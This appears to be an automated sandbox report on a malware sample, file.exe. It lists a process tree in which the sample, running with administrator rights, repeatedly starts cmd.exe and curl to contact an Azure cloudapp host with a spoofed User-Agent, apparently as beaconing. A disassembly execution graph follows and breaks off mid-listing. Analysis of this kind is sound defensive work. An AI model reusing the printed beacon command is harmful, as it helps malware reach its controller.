                                                  Click to dive into process behavior distribution

                                                  Behavior

                                                  Click to jump to process

                                                  System Behavior

                                                  General

                                                  Target ID:0
                                                  Start time:09:39:03
                                                  Start date:27/11/2024
                                                  Path:C:\Users\user\Desktop\file.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:"C:\Users\user\Desktop\file.exe"
                                                  Imagebase:0x7ff6399b0000
                                                  File size:7'319'146 bytes
                                                  MD5 hash:93517C6EB21CD65E329B0ACD9F6DB5AF
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:low
                                                  Has exited:false

                                                  General

                                                  Target ID:1
                                                  Start time:09:39:04
                                                  Start date:27/11/2024
                                                  Path:C:\Users\user\Desktop\file.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:"C:\Users\user\Desktop\file.exe"
                                                  Imagebase:0x7ff6399b0000
                                                  File size:7'319'146 bytes
                                                  MD5 hash:93517C6EB21CD65E329B0ACD9F6DB5AF
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:low
                                                  Has exited:false

                                                  General

                                                  Target ID:2
                                                  Start time:09:39:05
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\cmd.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""
                                                  Imagebase:0x7ff789d00000
                                                  File size:289'792 bytes
                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:high
                                                  Has exited:true

                                                  General

                                                  Target ID:3
                                                  Start time:09:39:05
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\conhost.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                  Imagebase:0x7ff7699e0000
                                                  File size:862'208 bytes
                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:high
                                                  Has exited:true

                                                  General

                                                  Target ID:4
                                                  Start time:09:39:06
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\curl.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
                                                  Imagebase:0x7ff645840000
                                                  File size:530'944 bytes
                                                  MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:moderate
                                                  Has exited:true

                                                  General

                                                  Target ID:5
                                                  Start time:09:39:16
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\cmd.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""
                                                  Imagebase:0x7ff789d00000
                                                  File size:289'792 bytes
                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:high
                                                  Has exited:true

                                                  General

                                                  Target ID:6
                                                  Start time:09:39:16
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\conhost.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                  Imagebase:0x7ff7699e0000
                                                  File size:862'208 bytes
                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:high
                                                  Has exited:true

                                                  General

                                                  Target ID:7
                                                  Start time:09:39:16
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\curl.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
                                                  Imagebase:0x7ff645840000
                                                  File size:530'944 bytes
                                                  MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:moderate
                                                  Has exited:true

                                                  General

                                                  Target ID:11
                                                  Start time:09:39:26
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\cmd.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""
                                                  Imagebase:0x7ff789d00000
                                                  File size:289'792 bytes
                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:high
                                                  Has exited:true

                                                  General

                                                  Target ID:12
                                                  Start time:09:39:26
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\conhost.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                  Imagebase:0x7ff7699e0000
                                                  File size:862'208 bytes
                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:high
                                                  Has exited:true

                                                  General

                                                  Target ID:13
                                                  Start time:09:39:26
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\curl.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
                                                  Imagebase:0x7ff645840000
                                                  File size:530'944 bytes
                                                  MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:moderate
                                                  Has exited:true

                                                  General

                                                  Target ID:14
                                                  Start time:09:39:37
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\cmd.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""
                                                  Imagebase:0x7ff789d00000
                                                  File size:289'792 bytes
                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:high
                                                  Has exited:true

                                                  General

                                                  Target ID:15
                                                  Start time:09:39:37
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\conhost.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                  Imagebase:0x7ff7699e0000
                                                  File size:862'208 bytes
                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  General

                                                  Target ID:16
                                                  Start time:09:39:37
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\curl.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
                                                  Imagebase:0x7ff645840000
                                                  File size:530'944 bytes
                                                  MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  General

                                                  Target ID:17
                                                  Start time:09:39:47
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\cmd.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""
                                                  Imagebase:0x7ff789d00000
                                                  File size:289'792 bytes
                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  General

                                                  Target ID:18
                                                  Start time:09:39:47
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\conhost.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                  Imagebase:0x7ff7699e0000
                                                  File size:862'208 bytes
                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  General

                                                  Target ID:19
                                                  Start time:09:39:47
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\curl.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
                                                  Imagebase:0x7ff645840000
                                                  File size:530'944 bytes
                                                  MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  General

                                                  Target ID:20
                                                  Start time:09:39:58
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\cmd.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""
                                                  Imagebase:0x7ff789d00000
                                                  File size:289'792 bytes
                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  General

                                                  Target ID:21
                                                  Start time:09:39:58
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\conhost.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                  Imagebase:0x7ff7699e0000
                                                  File size:862'208 bytes
                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  General

                                                  Target ID:22
                                                  Start time:09:39:58
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\curl.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
                                                  Imagebase:0x7ff645840000
                                                  File size:530'944 bytes
                                                  MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  General

                                                  Target ID:23
                                                  Start time:09:40:08
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\cmd.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""
                                                  Imagebase:0x7ff789d00000
                                                  File size:289'792 bytes
                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  General

                                                  Target ID:24
                                                  Start time:09:40:08
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\conhost.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                  Imagebase:0x7ff7699e0000
                                                  File size:862'208 bytes
                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  General

                                                  Target ID:25
                                                  Start time:09:40:08
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\curl.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
                                                  Imagebase:0x7ff645840000
                                                  File size:530'944 bytes
                                                  MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  General

                                                  Target ID:27
                                                  Start time:09:40:19
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\cmd.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""
                                                  Imagebase:0x7ff789d00000
                                                  File size:289'792 bytes
                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  General

                                                  Target ID:28
                                                  Start time:09:40:19
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\conhost.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                  Imagebase:0x7ff7699e0000
                                                  File size:862'208 bytes
                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  General

                                                  Target ID:29
                                                  Start time:09:40:19
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\curl.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
                                                  Imagebase:0x7ff645840000
                                                  File size:530'944 bytes
                                                  MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  General

                                                  Target ID:30
                                                  Start time:09:40:29
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\cmd.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""
                                                  Imagebase:0x7ff789d00000
                                                  File size:289'792 bytes
                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  General

                                                  Target ID:31
                                                  Start time:09:40:29
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\conhost.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                  Imagebase:0x7ff7699e0000
                                                  File size:862'208 bytes
                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  General

                                                  Target ID:32
                                                  Start time:09:40:29
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\curl.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
                                                  Imagebase:0x7ff645840000
                                                  File size:530'944 bytes
                                                  MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  General

                                                  Target ID:33
                                                  Start time:09:40:39
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\cmd.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""
                                                  Imagebase:0x7ff789d00000
                                                  File size:289'792 bytes
                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  General

                                                  Target ID:34
                                                  Start time:09:40:39
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\conhost.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                  Imagebase:0x7ff7699e0000
                                                  File size:862'208 bytes
                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  General

                                                  Target ID:35
                                                  Start time:09:40:40
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\curl.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
                                                  Imagebase:0x7ff645840000
                                                  File size:530'944 bytes
                                                  MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  General

                                                  Target ID:36
                                                  Start time:09:40:50
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\cmd.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""
                                                  Imagebase:0x7ff789d00000
                                                  File size:289'792 bytes
                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  General

                                                  Target ID:37
                                                  Start time:09:40:50
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\conhost.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                  Imagebase:0x7ff7699e0000
                                                  File size:862'208 bytes
                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  General

                                                  Target ID:38
                                                  Start time:09:40:50
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\curl.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
                                                  Imagebase:0x7ff645840000
                                                  File size:530'944 bytes
                                                  MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  General

                                                  Target ID:39
                                                  Start time:09:41:01
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\cmd.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""
                                                  Imagebase:0x7ff789d00000
                                                  File size:289'792 bytes
                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  General

                                                  Target ID:40
                                                  Start time:09:41:01
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\conhost.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                  Imagebase:0x7ff7699e0000
                                                  File size:862'208 bytes
                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  General

                                                  Target ID:41
                                                  Start time:09:41:01
                                                  Start date:27/11/2024
                                                  Path:C:\Windows\System32\curl.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
                                                  Imagebase:0x7ff645840000
                                                  File size:530'944 bytes
                                                  MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  Disassembly

                                                  Reset < >

                                                    Execution Graph

                                                    Execution Coverage:7.6%
                                                    Dynamic/Decrypted Code Coverage:0%
                                                    Signature Coverage:19.1%
                                                    Total number of Nodes:2000
                                                    Total number of Limit Nodes:30
                                                    execution_graph 18671 7ff6399ca2e0 18672 7ff6399ca2e5 18671->18672 18673 7ff6399ca2fa 18671->18673 18677 7ff6399ca300 18672->18677 18678 7ff6399ca342 18677->18678 18679 7ff6399ca34a 18677->18679 18680 7ff6399c9c58 __free_lconv_mon 11 API calls 18678->18680 18681 7ff6399c9c58 __free_lconv_mon 11 API calls 18679->18681 18680->18679 18682 7ff6399ca357 18681->18682 18683 7ff6399c9c58 __free_lconv_mon 11 API calls 18682->18683 18684 7ff6399ca364 18683->18684 18685 7ff6399c9c58 __free_lconv_mon 11 API calls 18684->18685 18686 7ff6399ca371 18685->18686 18687 7ff6399c9c58 __free_lconv_mon 11 API calls 18686->18687 18688 7ff6399ca37e 18687->18688 18689 7ff6399c9c58 __free_lconv_mon 11 API calls 18688->18689 18690 7ff6399ca38b 18689->18690 18691 7ff6399c9c58 __free_lconv_mon 11 API calls 18690->18691 18692 7ff6399ca398 18691->18692 18693 7ff6399c9c58 __free_lconv_mon 11 API calls 18692->18693 18694 7ff6399ca3a5 18693->18694 18695 7ff6399c9c58 __free_lconv_mon 11 API calls 18694->18695 18696 7ff6399ca3b5 18695->18696 18697 7ff6399c9c58 __free_lconv_mon 11 API calls 18696->18697 18698 7ff6399ca3c5 18697->18698 18703 7ff6399ca1a4 18698->18703 18717 7ff6399cf5e8 EnterCriticalSection 18703->18717 19607 7ff6399c9060 19610 7ff6399c8fe4 19607->19610 19617 7ff6399cf5e8 EnterCriticalSection 19610->19617 16197 7ff6399bbf5c 16218 7ff6399bc12c 16197->16218 16200 7ff6399bc0a8 16341 7ff6399bc44c IsProcessorFeaturePresent 16200->16341 16201 7ff6399bbf78 __scrt_acquire_startup_lock 16203 7ff6399bc0b2 16201->16203 16206 7ff6399bbf96 __scrt_release_startup_lock 16201->16206 16204 7ff6399bc44c 7 API calls 16203->16204 16207 7ff6399bc0bd _CallSETranslator 16204->16207 16205 7ff6399bbfbb 16206->16205 16208 7ff6399bc041 16206->16208 16330 7ff6399c8e44 16206->16330 16224 7ff6399bc594 16208->16224 16210 7ff6399bc046 16227 7ff6399b1000 16210->16227 16215 7ff6399bc069 16215->16207 16337 7ff6399bc2b0 16215->16337 16219 7ff6399bc134 16218->16219 16220 7ff6399bc140 __scrt_dllmain_crt_thread_attach 16219->16220 16221 7ff6399bc14d 16220->16221 16223 7ff6399bbf70 16220->16223 16221->16223 16348 7ff6399bcba8 16221->16348 16223->16200 16223->16201 16225 7ff6399d97e0 memcpy_s 16224->16225 16226 7ff6399bc5ab GetStartupInfoW 16225->16226 16226->16210 16228 7ff6399b1009 16227->16228 16375 7ff6399c4794 16228->16375 16230 7ff6399b352b 16382 7ff6399b33e0 16230->16382 16234 7ff6399bb870 _log10_special 8 API calls 16236 7ff6399b372a 16234->16236 16335 7ff6399bc5d8 GetModuleHandleW 16236->16335 16237 7ff6399b3736 16573 7ff6399b3f70 16237->16573 16238 7ff6399b356c 16240 7ff6399b1bf0 49 API calls 16238->16240 16256 7ff6399b3588 16240->16256 16242 7ff6399b3785 16244 7ff6399b25f0 53 API calls 16242->16244 16321 7ff6399b3538 16244->16321 16246 7ff6399b3778 16248 7ff6399b379f 16246->16248 16249 7ff6399b377d 16246->16249 16247 7ff6399b365f __vcrt_freefls 16251 7ff6399b3834 16247->16251 16254 7ff6399b7e10 14 API calls 16247->16254 16250 7ff6399b1bf0 49 API calls 16248->16250 16592 7ff6399bf36c 16249->16592 16253 7ff6399b37be 16250->16253 16280 7ff6399b3805 __vcrt_freefls 16251->16280 16596 7ff6399b3e90 16251->16596 16262 7ff6399b18f0 115 API calls 16253->16262 16257 7ff6399b36ae 16254->16257 16444 7ff6399b7e10 16256->16444 16457 7ff6399b7f80 16257->16457 16258 7ff6399b3852 16260 7ff6399b3871 16258->16260 16261 7ff6399b3865 16258->16261 16265 7ff6399b1bf0 49 API calls 16260->16265 16599 7ff6399b3fe0 16261->16599 16266 7ff6399b37df 16262->16266 16263 7ff6399b36bd 16267 7ff6399b380f 16263->16267 16269 7ff6399b36cf 16263->16269 16265->16280 16266->16256 16268 7ff6399b37ef 16266->16268 16466 7ff6399b8400 16267->16466 16273 7ff6399b25f0 53 API calls 16268->16273 16462 7ff6399b1bf0 16269->16462 16272 7ff6399b389e SetDllDirectoryW 16279 7ff6399b38c3 16272->16279 16273->16321 16282 7ff6399b3a50 16279->16282 16522 7ff6399b6560 16279->16522 16517 7ff6399b86b0 16280->16517 16281 7ff6399b36fc 16562 7ff6399b25f0 16281->16562 16285 7ff6399b3a7d 16282->16285 16286 7ff6399b3a5a PostMessageW GetMessageW 16282->16286 16657 7ff6399b3080 16285->16657 16286->16285 16289 7ff6399b38ea 16291 7ff6399b3947 16289->16291 16293 7ff6399b3901 16289->16293 16602 7ff6399b65a0 16289->16602 16291->16282 16299 7ff6399b395c 16291->16299 16305 7ff6399b3905 16293->16305 16623 7ff6399b6970 16293->16623 16542 7ff6399b30e0 16299->16542 16305->16291 16639 7ff6399b2870 16305->16639 16321->16234 16331 7ff6399c8e5b 16330->16331 16332 7ff6399c8e7c 16330->16332 16331->16208 18574 7ff6399c96e8 16332->18574 16336 7ff6399bc5e9 16335->16336 16336->16215 16339 7ff6399bc2c1 16337->16339 16338 7ff6399bc080 16338->16205 16339->16338 16340 7ff6399bcba8 7 API calls 16339->16340 16340->16338 16342 7ff6399bc472 _isindst memcpy_s 16341->16342 16343 7ff6399bc491 RtlCaptureContext RtlLookupFunctionEntry 16342->16343 16344 7ff6399bc4f6 memcpy_s 16343->16344 16345 7ff6399bc4ba RtlVirtualUnwind 16343->16345 16346 7ff6399bc528 IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 16344->16346 16345->16344 16347 7ff6399bc576 _isindst 16346->16347 16347->16203 16349 7ff6399bcbb0 16348->16349 16350 7ff6399bcbba 16348->16350 16354 7ff6399bcf44 16349->16354 16350->16223 16355 7ff6399bcbb5 16354->16355 16356 7ff6399bcf53 16354->16356 16358 7ff6399bcfb0 16355->16358 16362 7ff6399bd180 16356->16362 16359 7ff6399bcfdb 16358->16359 16360 7ff6399bcfdf 16359->16360 16361 7ff6399bcfbe DeleteCriticalSection 16359->16361 16360->16350 16361->16359 16366 